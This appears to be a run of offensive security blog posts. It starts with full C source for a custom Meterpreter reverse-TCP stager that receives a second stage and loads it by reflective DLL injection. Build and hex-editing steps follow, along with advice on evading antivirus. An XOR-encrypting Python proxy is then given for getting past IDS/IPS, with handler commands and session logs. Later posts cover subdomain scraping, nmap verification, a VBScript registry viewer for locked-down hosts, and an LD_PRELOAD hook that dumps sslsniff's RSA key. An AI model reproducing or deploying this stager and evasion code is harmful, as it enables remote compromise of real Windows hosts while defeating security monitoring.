	GetModuleFileName(NULL,szPath,MAX_PATH);
    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );

	/* Quick & Dirty hack to make this usable for psexec like stuff
	   When executed the first time it will spawn itself this makes
	   sure we return on time and don't get killed by the servicemanager
	*/

	if(strlen(lpCmdLine) == 0){
		strcat_s(szPath,MAX_PATH," 1");
		CreateProcess(NULL,szPath,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
	}

	if(strlen(lpCmdLine) > 0){
		//thread just for fun...no real purpose atm
		threadhandle = CreateThread(NULL,0,threadexec,szPath,0,&threadid);
		WaitForSingleObject(threadhandle,INFINITE);
	}
}

/* http://msdn.microsoft.com/en-us/library/windows/desktop/ms682516(v=vs.85).aspx
	read port:ip
	Receive stage
	Load it using reflectivedllinjection
*/
DWORD WINAPI threadexec(LPVOID exename){
	SOCKET meterpretersock;
	int response = 0;
	int total = 0;
	char *payload;
	char recvbuf[1024];
	DWORD payloadlength = 0;
	HMODULE loadedfile = NULL;

	if(initwsa() != 0){
		exit(0);
	}

	meterpretersock = getsocket((char *)exename);
	response = recv(meterpretersock, (char *)&payloadlength, sizeof(DWORD), 0);

	payload = (char *)malloc(payloadlength);
	memset(payload,0,payloadlength);
	memset(recvbuf,0,1024);

	do{
		response = recv(meterpretersock, recvbuf, 1024, 0);
		memcpy(payload,recvbuf,response);
		payload += response;
		total += response;
		payloadlength -= response;

	}while(payloadlength > 0);
	payload -= total;
	loadedfile = LoadLibraryR(payload,total);
	meterpreterstart = (MyInit) GetProcAddressR(loadedfile,"Init");
	meterpreterstart(meterpretersock);

	free(payload);
	//closesocket(sock); meterpreter is still using it
}
/*
	Get a socket which is allready connected back
*/
SOCKET getsocket(char *self){
	SOCKADDR_IN dinfo;
	SOCKET sock;
	int respcode = 0;
	char *ipaddr = (char *)malloc(sizeof(char)*25);
	short port = 0;

	memset(ipaddr,0,sizeof(char)*16);
	port = getcinfo(self,ipaddr,16);

	sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(sock == INVALID_SOCKET){
		printf("socket failed\n");
		exit(0);
	}
    dinfo.sin_family = AF_INET;
    dinfo.sin_addr.s_addr = inet_addr(ipaddr);
    dinfo.sin_port = htons(port);

	respcode = connect(sock, (SOCKADDR *) &dinfo, sizeof (dinfo));
	if(respcode == SOCKET_ERROR){
		exit(0);
	}
	free(ipaddr);
	return sock;
}

/*
	Initialize winsock
*/
int initwsa(){
	int wsaerror = 0;
	//wsa is defined above main
	wsaerror = WSAStartup(MAKEWORD(2,2),&wsa);
	if(wsaerror != 0){
		return -1;
	}
	return 0;
}

/*
	Get ip address and port information from our own executable
	Feel free to hardcode it instead of doing this
*/
short getcinfo(char *self,char *ipaddr,int len){
	int i = 0;
	int offset = 0x4e;
	//[port as little endian hex][ip as string \0 terminated]
	//9999 -> 270f -> 0f27
	//127.0.0.1 -> 127.0.0.1
	//make sure to padd with \0's until max buffer, or this will read weird stuff
	short port = 0;
	FILE * file = fopen(self, "r");
	fseek(file,offset,SEEK_SET);
	fread((void *)&port,(size_t)sizeof(short),1,file);
	fread(ipaddr,(size_t)len,1,file);
	fclose(file);
	return port;
}

Now let’s see how to convert the above to a working executable. First of all you’ll need a compiler, personally I prefer visual studio c++ 2010 express. It’s free and the IDE & debugger combo rock.
Create a new project and choose a win32 project. Don’t choose a win32 console application. The reason for this (besides the above src not compiling) is that if you use a traditional main when using psexec it will show a popup requiring attention. In the next window click next and tick the box that says ‘empty project’, then hit finish.

Create a C file like this:

1

2

Now paste the above code into it, don’t hit build immediately since it won’t build we need to add a few files first. We need the following files:

  • LoadLibraryR.c
  • LoadLibraryR.h
  • GetProcAddress.c
  • GetProcAddress.h
  • ReflectiveDLLInjection.h

Which we again can get from the metasploit github:

Put them all in the same place as the C you created before. Then just add them to the project the same way you added the initial C file but instead of “new item” you choose “existing item”. Your visual studio should now look like this:

3

Next change the settings to use multi-byte characterset instead of unicode:

4

If you now set the configuration to “release” instead of “debug” and right click on the project to rebuild, it should compile just fine. Gives a few warnings due to me being lazy, but it will run. If you do not want to see msvcrt errors you’ll also have to change the following setting to what is set in the red box:

5

If you have looked at the source you’ll know that this executable won’t run just yet. It needs to be modified. I choose to embed the connect back IP and port information in the executable instead of having to recompile it every time I want to use it. This means that we have to hexedit our executable now and provide the connect back details. Start your favorite hex editor, I use frhed. Here is an example on how to edit it, let’s assume our connect back information is this: 127.0.0.1:1234  the format we want to have before we start hex editing is everything in hex. In this case 1234 becomes 04D2 and since it has to be little endian it becomes D204. The IP address becomes 3132372e302e302e31. So the whole string that should be hex edited into the executable becomes (spaces for readability):

d2 04 31 32 37 2e 30 2e 30 2e 31 00

Exactly, don’t forget to null byte (0×00) terminate that string or we sure will be connecting to some weird IP addresses, now just put that data in the executable starting at offset 0x4e. If everything went according to plan it now should look like this:

6

That’s all. If you now start a exploit/multi/handler and configure it with a windows/meterpreter/reverse_tcp it should all work as planned. Just as funny information, if you disable all optimization and upload the executable to virustotal is gets 1/46 as heuristic malware. So don’t forget that just recompiling and optimizing source does help a lot of times to evade antivirus, as explained in another post of mine.

PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 10.50.0.103
LPORT => 9999
[*] Started reverse handler on 10.50.0.103:9999 
[*] Starting the payload handler...
[*] Sending stage (762880 bytes) to 10.50.0.101
[*] Meterpreter session 1 opened (10.50.0.103:9999 -> 10.50.0.101:49264) at 2013-01-25 00:57:28 +0100

meterpreter > getuid
Server username: WIN-WIN\Administrator

Filed under: general, security Tagged: antivirus, bypass, evade, meterpreter stager, shellcode

We bypassed antivirus, how about IDS/IPS?

$
0
0

So like we have seen in previous posts bypassing antivirus engines isn’t always as difficult as you would expect. Now how about bypassing IDS/IPS systems? After all, the only thing we have done is make the initial stager undetected, the second stage still needs to be transferred over the wire. We have a couple of options to do this:

The first one has already been done by metasploit and integrates really nice within metasploit, so let’s build the second one for fun, profit and general learning.

Since we just want some obfuscation and nothing fancy we’ll just use our good friend XOR to obfuscate the payload. We do want this to be reusable or at least keep it simple. So I’ve chosen to implement an encrypting proxy. Why you ask?

  • You don’t have to change or edit metasploit code
  • You don’t have to change or edit the stage itself
  • You only have to change your stager
    • We have already build our own stager :)

So let’s modify our stager to support XOR decryption. For that we need a XOR function and actually calling that function.

/*
	Use for additional obfuscation??

http://stackoverflow.com/questions/12375808/how-to-make-bit-wise-xor-in-c

*/
void xor(char *data,int len){
	int i;

	for(i=0;i<len;i++){
		data[i] = data[i] ^ 0x50;
	}
}

Then you actually call the function:

	do{
		response = recv(meterpretersock, recvbuf, 1024, 0);
		xor(&recvbuf[0],response);
		memcpy(payload,recvbuf,response);
		payload += response;
		total += response;
		payloadlength -= response;

	}while(payloadlength > 0);

Those are all the modifications we need to make to our existing stager. The proxy however we’ll need to build from scratch, these are the minimal steps it needs to perform to support a windows/meterpreter/reverse_tcp payload:

  • Listen for incoming connections
  • Connect to the metasploit handler
  • Read the payload length
  • XOR the payload on the fly
  • forward it to our stager
  • Just relay all traffic between stager and metasploit after this point

The only interesting part which is handling the initial stager connection looks like this:

#handle the initial stager connection
def handler(clientsock,addr):
    msfsock = socket(AF_INET, SOCK_STREAM)
    msfsock.connect((MSFIP, MSFPORT))
    msfdata = ''
    #read and send payload length to meterpreter
    msfdata = msfsock.recv(4)
    clientsock.send(msfdata)
    datalen = struct.unpack('<I',msfdata)[0]
    print "payload size %s" % datalen
    #now start sending and xor'ing the data
    while datalen > 0:
        msfdata = msfsock.recv(BUFF)
        xorreddata = ''
        for i in range(len(msfdata)):
            xorreddata += chr((ord(msfdata[i]) ^ XORKEY) & 0xFF)
        clientsock.sendall(xorreddata)
        rl = len(msfdata)
        datalen = datalen - rl
        print "send data %s remaining %s" % (rl,datalen)
    #we are done with obfuscation, just relay traffic from now on
    print "Starting loop"
    thread.start_new_thread(trafficloop,(msfsock,clientsock))
    thread.start_new_thread(trafficloop,(clientsock,msfsock))

Now when you run it you’ll encounter an interesting bug/feature in metasploit as in that metasploit doesn’t allow connections from 127.0.0.1. You can work around this by adding your own local loopback interface as explained here: http://www.kartook.com/2010/10/linux-how-to-add-loopback-on-ubuntu/

After solving that you just start metasploit payload handler:

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=4444 E

Then you start the encrypting proxy:

./ep.py 10.50.0.103 9999 10.10.10.100 4444

The only thing you have to do now is launch the custom stager and if everything goes as planned your metasploit terminal will look like this:

PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 10.10.10.100
LPORT => 4444
[*] Started reverse handler on 10.10.10.100:4444 
[*] Starting the payload handler...
[*] Sending stage (762880 bytes) to 10.10.10.100
[*] Meterpreter session 1 opened (10.10.10.100:4444 -> 10.10.10.100:44995) at 2013-02-21 02:04:02 +0100

meterpreter > getuid
Server username: WIN-COMP\research
meterpreter >

and if you look at the data in wireshark it looks like this, instead of having the usual “This program cannot be run in DOS mode.”:

idsbypass

You can find the complete code for this (stager  & proxy) on my github as usual, as for the compiling instructions I’ve explained those in a previous post.


Filed under: general, security Tagged: ids/ips, metasploit, meterpreter, obfuscation, second stage, undetected, xor

finding sub domains with search engines

$
0
0

Finding sub domains using DNS is common practice, for example fierce does a pretty nice job. Additionally fierce presents a nice overview of the possible ranges that belong to your target. For some odd reason I also like to find sub domains using search engines, even though this will deliver results that are far from exhaustive. In the past I wrote a perl script to do this, but since I’m becoming a fan of python I decided to rewrite it in python. For example using python-requests and beautifulsoup it only takes like ~10 lines to scrape the sub domains from a search engine page:

def getgoogleresults(maindomain,searchparams):
    regexword = r'(http://|https://){0,1}(.*)' + maindomain.replace('.','\.')
    try:
        content = requests.get(googlesearchengine,params=searchparams).content
    except:
        print >> sys.stderr, 'Skipping this search engine'
        return
    soup = BeautifulSoup(content)
    links = soup.find_all('cite')
    extract = re.compile(regexword)
    for i in links:
        match = extract.match(i.text)
        if match:
            res = match.group(2).strip() + maindomain
            if res not in subdomains:
                subdomains.append(res)

This script doesn’t parse all the result pages from the search engines. Actually it only parses the first page. This is because I wanted to keep it simple for the moment being and it helps to not get blocked that quickly. To compensate for the lack of crawling the results, the script uses multiple search engines and negates the results from one engine onto another.  For example it performs queries like:

site:somedomain.tld -site:subdomain1.somedomain.tld

As said it compensates somewhat for the lack of crawling the results pages but it will surely fail to find all sub domains indexed on the search engines. This is how it looks like:

searchsubdomain.py hacktalk.net
blog.hacktalk.net
leaks-db.hacktalk.net
ns2.hacktalk.net
www.hacktalk.net

Which is exactly the moment when I realised I’d also would like the ip addresses that belong to the found domains. I wrote a separate script for that which uses the adns python bindings. This is how it looks like:

searchsubdomain.py hacktalk.net | dnsresolver.py 
ns2.hacktalk.net 209.190.32.59
www.hacktalk.net 209.190.32.59
leaks-db.hacktalk.net 209.190.32.59
blog.hacktalk.net 209.190.32.59

If you wonder why I wrote a new script that uses adns:

real 0m46.962s
user 0m0.904s
sys 0m0.180s

That’s the time it took to resolve 2280 hosts including a couple of 3 second delays to not hog the DNS server. Also for tasks like this (brute forcing sub domains with DNS) bash is your friend:

for i in `cat hosts.txt`;do echo $i”.hacktalk.net” >> hacktalkdomains.txt;done
dnsresolver.py hacktalkdomains.txt | grep -vi resverror

I copied the two scripts to my /usr/local/bin directory to be able to use them from anywhere on the cli. You can find them over here: https://github.com/DiabloHorn/DiabloHorn/tree/master/misc


Filed under: general, security Tagged: beautifulsoup, python, requests, search engine, sub domain

Verifying Nmap scans

$
0
0

So the other day while talking with Slurpgeit the following issue came up:

During a scan nmap reported 1000 ports filtered for the host, but wireshark told us otherwise a RST was received for a few ports but with a delay of ~18 seconds

Hmm that’s interesting, so that means that if wireshark hadn’t been monitored during the scan, the closed ports would have been missed or even worse what if open ports had been missed? The RTT to the host however were within normal ranges, also a simple ping worked fine without any delay whatsoever. Which brings us to an ancient saying about hacking:

Never trust your tools completely, always verify your results! Then verify them again and finally check that they are correct.

Since this is (assumed) something that doesn’t occur that often, you most probably want to automate the verification step. Unless you love looking at scrolling packets in your wireshark window. We can do it actively (real time sniffing) or passively (pcap) after the scans are done. I choose to implement the latter, the passive and after-the-facts verification. Reason being that all you most probably want is to check if something has gone wrong, if not just continue hacking your target. So let’s setup a lab environment to reproduce this issue and then let’s write a script for it using scapy.

I chose to just create two virtual machines within the same subnet, one being the attacker and one being the victim. To delay the traffic on the victim side I used netem since I didn’t manage to do it with iptables. I delayed one port with the following lines I found on the interwebs:

sudo tc qdisc add dev eth0 root handle 1: prio
sudo tc qdisc add dev eth0 parent 1:1 handle 2: netem delay 5s
sudo tc filter add dev eth0 parent 1: protocol ip prio 1 u32 match ip sport 22 0xffff flowid 1:1

This will effectively delay all outgoing packets from port 22 with 5 seconds, which is more then enough to make nmap think it’s a filtered port. Fun fact: while playing with netem, if you apply the delay to all packets then nmap won’t even begin to scan the host, since according to it’s arp scan the host is down. Let’s fire up nmap and take a look at the output:

sudo nmap -vv -n -p22 10.50.0.103
Starting Nmap 6.25 ( http://nmap.org ) at 2013-05-07 10:31 PDT
Initiating ARP Ping Scan at 10:31
Scanning 10.50.0.103 [1 port]
Completed ARP Ping Scan at 10:31, 0.01s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 10:31
Scanning 10.50.0.103 [1 port]
Completed SYN Stealth Scan at 10:31, 0.20s elapsed (1 total ports)
Nmap scan report for 10.50.0.103
Host is up (0.00024s latency).
Scanned at 2013-05-07 10:31:03 PDT for 0s
PORT STATE SERVICE
22/tcp filtered ssh
MAC Address: 00:0C:29:8B:B2:D3 (VMware)
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
 Raw packets sent: 3 (116B) | Rcvd: 1 (28B)

Now for the on-the-wire version:

sudo tcpdump -i eth0 -n 'host 10.50.0.103 and port 22'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
10:31:03.679609 IP 10.50.0.107.34123 > 10.50.0.103.22: Flags [S], seq 1904800584, win 1024, options [mss 1460], length 0
10:31:03.780684 IP 10.50.0.107.34124 > 10.50.0.103.22: Flags [S], seq 1904866121, win 1024, options [mss 1460], length 0
10:31:08.679889 IP 10.50.0.103.22 > 10.50.0.107.34123: Flags [R.], seq 0, ack 1904800585, win 0, length 0
10:31:08.781834 IP 10.50.0.103.22 > 10.50.0.107.34124: Flags [R.], seq 0, ack 1904866122, win 0, length 0

That looks exactly as expected right? A nice and clean 5 second delay before we receive the RST,ACK response. Now let’s run our script against the saved pcap and see if it sees the delayed packets:

./scanverify.py delayedresponse.pcap 4
1367887795.686521 5.00033283234 10.50.0.107 10.50.0.103 22 ['RST', 'ACK']
1367887796.788743 5.00114893913 10.50.0.107 10.50.0.103 22 ['RST', 'ACK']

That looks exactly right, doesn’t it? If we redo the test while also having a service listening on port 22 the output looks like this:

./scanverify.py delayedresponse.pcap 4
1367887784.231386 5.00098395348 10.50.0.107 10.50.0.103 22 ['SYN', 'ACK']
1367887784.231386 5.99704408646 10.50.0.107 10.50.0.103 22 ['SYN', 'ACK']

If you don’t know the delay upfront, which is normally the case, you can run the script giving it a threshold of zero and it will then display all responses. You can then look for yourself to see which threshold will fit best to detect ‘delayed responses’. My opinion is that a human is way better at detecting anomalies then a computer, so I’ve left this out of the script on purpose.

The script, an example pcap and some other utils are available on my github:

https://github.com/DiabloHorn/DiabloHorn/tree/master/scanverify

Resources


Filed under: general, security Tagged: delay packet, netem, nmap, scapy, tc

vbscript based interactive registry viewer

$
0
0

Sometimes (don’t ask me why) when you are hacking some terminal server it happens that an administrator has disabled regedit.exe and reg.exe, but forgot about visual basic script (vbs). I know, I know everyone is all busy with powershell, but trust me sometimes vbs is the right script for the job. So I hacked together a quick script to view the registry which you can find on my github:

https://github.com/DiabloHorn/DiabloHorn/blob/master/misc/regview.vbs

It should be pretty self-explanatory, but just in case here is some example usage:

C:\>cscript regview.vbs
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

[] help

help - displays this help
cd  - change to that key
back - go to parent/previous key
ls - list current subkeys
lsv - list current key values
use - root key number to use
        0 - HKEY_CLASSES_ROOT
        1 - HKEY_CURRENT_USER
        2 - HKEY_LOCAL_MACHINE
        3 - HKEY_USERS
        4 - HKEY_CURRENT_CONFIG

[] use
key number: 1
[HKEY_CURRENT_USER\] cd software\vmware, inc.
[HKEY_CURRENT_USER\software\vmware, inc.] ls
VMware Tools
[HKEY_CURRENT_USER\software\vmware, inc.] cd vmware tools
[HKEY_CURRENT_USER\software\vmware, inc.\vmware tools] lsv
[HKEY_CURRENT_USER\software\vmware, inc.\vmware tools] ls
Hgfs Usability
[HKEY_CURRENT_USER\software\vmware, inc.\vmware tools] cd hgfs usability
[HKEY_CURRENT_USER\software\vmware, inc.\vmware tools\hgfs usability] lsv
Entry Name: mappedDriveLetter
        Data Type: String
        Value: z
[HKEY_CURRENT_USER\software\vmware, inc.\vmware tools\hgfs usability] back
[HKEY_CURRENT_USER\software\vmware, inc.\vmware tools] back
[HKEY_CURRENT_USER\software\vmware, inc.] exit

I know it lacks a search function, I’ll see if I get around to implement it any time soon. A script to change values is a whole other story though and something I don’t really need that often. If you encounter bugs, do fix them :)


Filed under: general, security Tagged: interactive, registry, vbs

sslsniff howto dump the temporary key

$
0
0

sslsniff written by Moxie Marlinspike is a pretty nice tool to do SSL analysis. It has two modes of operation:

  • Authority mode
    • Dynamically generates certificates and signs them with the specified CA
  • Targeted mode
    • Uses pre-generated certificates to attack specific sites

Like most (if not all) tools there is always a situation where you want to look at the decrypted data in wireshark.  So yes, for that you would use the ‘targeted mode’, but then again wouldn’t it be nice if you could also do that using the Authority mode? Since I’ve never really messed with reversing and hooking on linux I chose to make a solution that wouldn’t require source code changes to sslsniff. Since the source code is available it helped me to cheat and be able to understand things better. Most of the information I had to read, to actually understand what I was doing can be found at the end of this post under the heading ‘references’. It’s fun to see what you can manage in a short amount of time if you stick to it.

The TL;DR version can be grabbed from my gihub it contains the source code and scripts you need to dump the temporary SSL key. For the ones wondering how I approached his, please keep reading.

General approach

First of all let’s download the source code and see if we can find the function responsible for the generation of the temporary key. I used grep to search for keywords like generate, temporary and rsa. One of those keywords will probably produce the following result:

certificate/AuthorityCertificateManager.cpp:  RSA *rsaKeyPair  = RSA_generate_key(1024, RSA_F4, NULL, NULL);

Which on inspection resides in the function:

EVP_PKEY* AuthorityCertificateManager::buildKeysForClient()

After you have followed the source code path, you can be pretty sure that it is the function responsible for generating the key that is used for the dynamically generated certificates. Let’s see if we can also find that information when we look at the binary. Let’s see if it has debug symbols, since that would make it easier to debug:

nm -a /usr/bin/sslsniff
nm: /usr/bin/sslsniff: no symbols

Well that probably means that the function that are defined in the source code of sslsniff are not available, but the ones called within external libraries probably are, we’ll use readelf to verify:

readelf -a /usr/bin/sslsniff | grep buildKeysForClient
readelf -a /usr/bin/sslsniff | grep RSA_generate_key
0808a35c 0000d207 R_386_JUMP_SLOT 00000000 RSA_generate_key
210: 00000000 0 FUNC GLOBAL DEFAULT UND RSA_generate_key@OPENSSL_1.0.0 (3)

Like you can see the first grep didn’t have any results while the second one had two results. The first line is relocation information and the second line is symbol information. At this point I was thinking how to proceed, basically I had two ideas:

  1. Use GDB to dump the memory section containing the private key while sslsniff is running
  2. Hook the RSA_generate_key function and save the generated private key while sslsniff is running

I ended up discarding the first option after some hours of getting used to gdb and seeing that this was kinda complex. The first option is still fun to look at later, since I’m wondering if it could be done using python to automate the manual gdb steps. You can skip the next section if you don’t want to be bothered with all kind of GDB amateurism and RSA key structures and head on to the hooking section.

GDB & RSA key structures

Knowing which function produced the private key material I was looking for, I started gdb and set a breakpoint on it (on a 32bit machine):

gdb /usr/bin/sslsniff 
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /usr/bin/sslsniff...(no debugging symbols found)...done.
(gdb) b RSA_generate_key
Breakpoint 1 at 0x8050140
(gdb) r -a -c /tmp/cacert.pem -s 8443 -w /tmp/slog.txt
Starting program: /usr/bin/sslsniff -a -c /tmp/cacert.pem -s 8443 -w /tmp/slog.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Breakpoint 1, RSA_generate_key (bits=1024, e_value=65537, callback=0, cb_arg=0x0) at rsa_depr.c:73
73 rsa_depr.c: No such file or directory.

I’ve highlighted the most interesting lines. gdb confirms that there are no debug symbols. The line where the breakpoints hits, tells us that it has the exact same arguments as specified in the source. This is a good sign, we now know we are looking in the right direction. So let’s see what the code looks like:

(gdb) bt
#0 RSA_generate_key (bits=1024, e_value=65537, callback=0, cb_arg=0x0) at rsa_depr.c:73
#1 0x080678af in ?? ()
#2 0x08067a23 in ?? ()
#3 0x08051c02 in ?? ()
#4 0xb7aa14d3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#5 0x08054355 in ?? ()
(gdb) disassemble 0x080678aa,0x080678bf
Dump of assembler code from 0x80678aa to 0x80678bf:
 0x080678aa: call 0x8050140 <RSA_generate_key@plt>
 0x080678af: mov %eax,%esi
 0x080678b1: call 0x804f880 <EVP_PKEY_new@plt>
 0x080678b6: mov %esi,0x8(%esp)
 0x080678ba: movl $0x6,0x4(%esp)
End of assembler dump.

This is when I thought…uh WUT? I’m only used to Intel syntax and this was AT&T syntax, so let’s fix that:

(gdb) set disassembly-flavor intel
(gdb) disassemble 0x080678aa,0x080678bf
Dump of assembler code from 0x80678aa to 0x80678bf:
 0x080678aa: call 0x8050140 <RSA_generate_key@plt>
 0x080678af: mov esi,eax
 0x080678b1: call 0x804f880 <EVP_PKEY_new@plt>
 0x080678b6: mov DWORD PTR [esp+0x8],esi
 0x080678ba: mov DWORD PTR [esp+0x4],0x6
End of assembler dump.

Much better, the highlighted line is the one we are after, since EAX contains the result of the call to RSA_generate_key which is pointer to a RSA structure. The next call (EVP_PKEY_new) is nice to see, since it confirms we are in the correct part of the binary. Let’s put a breakpoint on the mov esi,eax so that we can inspect EAX:

(gdb) b *0x080678af
Breakpoint 2 at 0x80678af
(gdb) c
Continuing.
Breakpoint 2, 0x080678af in ?? ()

Now before we have a peek at EAX, let’s first see how the RSA structure even looks like. You can either look in /usr/include/openssl/rsa.h or search for it online. Both should yield the following result:

struct rsa_st
        {
        /* The first parameter is used to pickup errors where
         * this is passed instead of aEVP_PKEY, it is set to 0 */
        int pad;
        long version;
        const RSA_METHOD *meth;
        /* functional reference if 'meth' is ENGINE-provided */
        ENGINE *engine;
        BIGNUM *n;
        BIGNUM *e;
        BIGNUM *d;
        BIGNUM *p;
        BIGNUM *q;
        BIGNUM *dmp1;
        BIGNUM *dmq1;
        BIGNUM *iqmp;
        [...]

So memory wise we should have 4 dwords(4 bytes each) before hitting the first actual RSA related information. To verify this the 5th dword should point to a BIGNUM structure right? Thus making me search around to know how the BIGNUM structure actually looks like:

struct bignum_st
        {
        BN_ULONG *d;    /* Pointer to an array of 'BN_BITS2' bit chunks. */
        int top;        /* Index of last used d +1. */
        /* The next are internal book keeping for bn_expand. */
        int dmax;       /* Size of the d array. */
        int neg;        /* one if the number is negative */
        int flags;
        };

If we follow all the way through we should see an in memory representation of the above. To be sure that we are able to interpret it, we are going to look at the 6th dword since it contains the value of E (e_value=65537), which we already know because of the first breakpoint on the function.

(gdb) x/6wx $eax
0x809d958:	0x00000000	0x00000000	0xb7edab00	0x00000000
0x809d968:	0x0809e1b8	0x0809e1e8
(gdb) x/6wx 0x0809e1e8
0x809e1e8:	0x0809b410	0x00000001	0x00000001	0x00000000
0x809e1f8:	0x00000001	0x00000019

We can see EAX points to the RSA structure and if we inspect the 6th item we have the BIGNUM structure. The first value points to the actual array, which is only one big that also makes sense due to the value that it holds. So if we inspect the first value we should see the hexadecimal representation of the E value:

(gdb) x/1wx 0x0809b410
0x809b410:	0x00010001

Now that’s pretty nice right? We can actually view the generated temporary RSA key in memory. As said before I decided to discard this option due to the fact that it’s more complicated then hooking the function. I stumbled upon some nice information though, gdb has a python interface. So maybe I’ll try and see if I can automate the dumping of the key using python and gdb.

Hooking the RSA_generate_key function

So before even thinking about looking at the hooking stuff I started with writing a program that used the same RSA key generating function sslsniff does and then save that information to a file. Since this was the first time I had to deal with openssl and such I had to read up on all kind of functions and search for some examples. In the end it resulted in a working program, which you can find here. This looked promising since it only took me like 1/5 of the time I had spend on gdb. After reading about the ELF file format I ended up reading this article, which explained exactly what I was looking for. Hooking under Linux resembles a lot the win32 hooking I’m used to but somehow it seems easier and more elegant. For example the (old) and widely known LD_PRELOAD trick to interpose a library before another library is intended for exactly that purpose, with the goal of debugging or creating wrappers. Also getting the address of the original function from the wrapper is provided by as explained by the man page of dlsym (similar to GetProcAddress under windows):

There are two special pseudo-handles, RTLD_DEFAULT and RTLD_NEXT. The former will find the first occurrence of the desired symbol using the default library search order. The latter will find the next occurrence of a function in the search order after the current library. This allows one to provide a wrapper around a function in another shared library.

So by following the article and making sure the function prototype matched that off the RSA_generate_key I was dumping the private key in no time. The source code is pretty tiny also:

RSA *RSA_generate_key(int num, unsigned long e, void (*callback)(int,int,void *), void *cb_arg){
RSA *rsa;
BIO* rsaPrivateBio;
typeof(RSA_generate_key) *old_RSA_generate_key;

printf("hooked function: RSA_generate_key\n");
old_RSA_generate_key = dlsym(RTLD_NEXT, "RSA_generate_key");

//rsa = (*old_RSA_generate_key)(1024,RSA_F4,NULL,NULL); //the hardcoded example
rsa = (*old_RSA_generate_key)(num,e,callback,cb_arg); //not sure if this will always work, if not use the hardcoded line
if(rsa == NULL){
printf("error in generating keypair..");
return 0;
}
RSA_blinding_on(rsa, NULL);
rsaPrivateBio = BIO_new_file("rsa.key", "w");
PEM_write_bio_RSAPrivateKey(rsaPrivateBio, rsa, NULL, NULL, 0, NULL, NULL);
printf("saved private key to file\n");
BIO_free(rsaPrivateBio);
//return the private key we just saved to file
return rsa;
}

When you put it all together it results into the following output when you run sslsniff with our own library interposed:

hooked function: RSA_generate_key
saved private key to file
sslsniff 0.8 by Moxie Marlinspike running…

To verify that it actually is dumped correctly you can parse it with openssl:

openssl rsa -in rsa.key -noout -text
Private-Key: (1024 bit)
modulus:
    00:c1:91:2d:f5:22:db:3b:ad:a2:aa:4d:65:d9:07:
    93:a8:02:a0:c5:de:11:71:43:e4:f0:48:f2:8c:ec:
    d1:a4:1b:b0:50:dd:4b:59:4f:08:12:b1:5d:e0:7e:
    c8:16:96:15:79:9d:72:10:b7:e4:a0:75:e1:77:31:
    3c:7d:08:a7:cf:52:75:b4:78:57:f3:41:67:a8:46:
    57:1b:4a:c3:66:f6:ea:c1:3b:73:f5:99:7b:ef:3c:
    89:07:58:ab:84:b2:ca:98:ae:ff:26:14:2b:21:6b:
    be:46:f3:5f:f8:ef:19:aa:7e:7a:02:fa:01:7f:fa:
    f0:a2:ee:83:3a:29:58:61:49
publicExponent: 65537 (0x10001)
privateExponent:
    00:90:66:37:7c:99:c6:26:9c:ff:ae:40:12:ec:76:
    a4:86:3f:7f:a4:5c:67:72:b1:8d:86:5b:44:e6:30:

Conclusion

Even under Linux you don’t always need the source code to be able to make modifications to a program. To reproduce this result you can compile the source with the provided ‘compilehook.sh’ script, then start sslsniff using the provided ‘sslsniff_hooked.sh’ script. Read the sslsniff readme if you want to know how to intercept the traffic from a machine. I also ended up liking gdb a bit more then I did before. For the ones wondering how you can use this private key to decrypt the captured traffic have a look at this: http://wiki.wireshark.org/SSL

References


Filed under: general, security Tagged: debug, hook, ld_preload, private key, rsa, sslsniff

Alternative psexec: no wmi, services or mof needed

$
0
0

For me the fun in hacking still remains in finding new ways to achieve the same goal. On one of those days with splendid sun and people having their beer, I thought it would be a good idea to start researching how to get a remote Windows shell without using any of the more  well known methods and preferably from a Linux host. To set the proper context I’m talking about the situation where you have gathered local administrative credentials and want to start gathering shells all over the network. I started to research the current methods and see how they worked the way they did. Then I did a lot of searching around and also some basic process monitoring stuff. This eventually gave me what I wanted a new?? way to start remote processes without using any of the known methods BUT unfortunately it has one possible drawback: it is not instant like the other well known methods.  Depending on your goal and time this can be as much a drawback as it can be an advantage. The actual method IS NOT really new it’s just used in a remote way. Let’s do a quick recap of the ‘well known’ methods I’m referring to, to make sure we are on the same level:

psexec
This is probably the most well known one and implemented in a dozen ways. The basics revolve around uploading an executable and creating a service that starts the executable. It’s efficient, reliable and thoroughly tested. It works from Windows and Linux hosts.

Windows Management Instrumentation (WMI)
This one is often used from visual basic script files or powershell scripts to exeute processes remotely. As far as I can tell it uses some undocumented dcerpc functions. It works very nice from Windows host, but I haven’t seen a Linux implementation yet. There is a libwmi library but I think it only does WMI queries, please correct me if I’m wrong.

Windows Remote Management / Shell (WinRM / WinRS)
This one is pretty neat since it uses the mechanisms provided by Windows to give you a direct shell without uploading anything or making use of temporary files. There is a nice write up about it on the rapid7 website.

Managed Object Format (MOF)
This one seems to have come into existing with Stuxnet and is pretty sexy. All you have to do is drop a correctly prepared file and Windows will execute it.

Looking at all these methods there are a two things that caught my attention:

  • DCE/RPC is pretty powerful
  • Eventually you want to upload your own executable (ex: meterpreter)

If you are impatient you can skip to the source of the POC on github, if you want to know more keep reading.

The not so new method

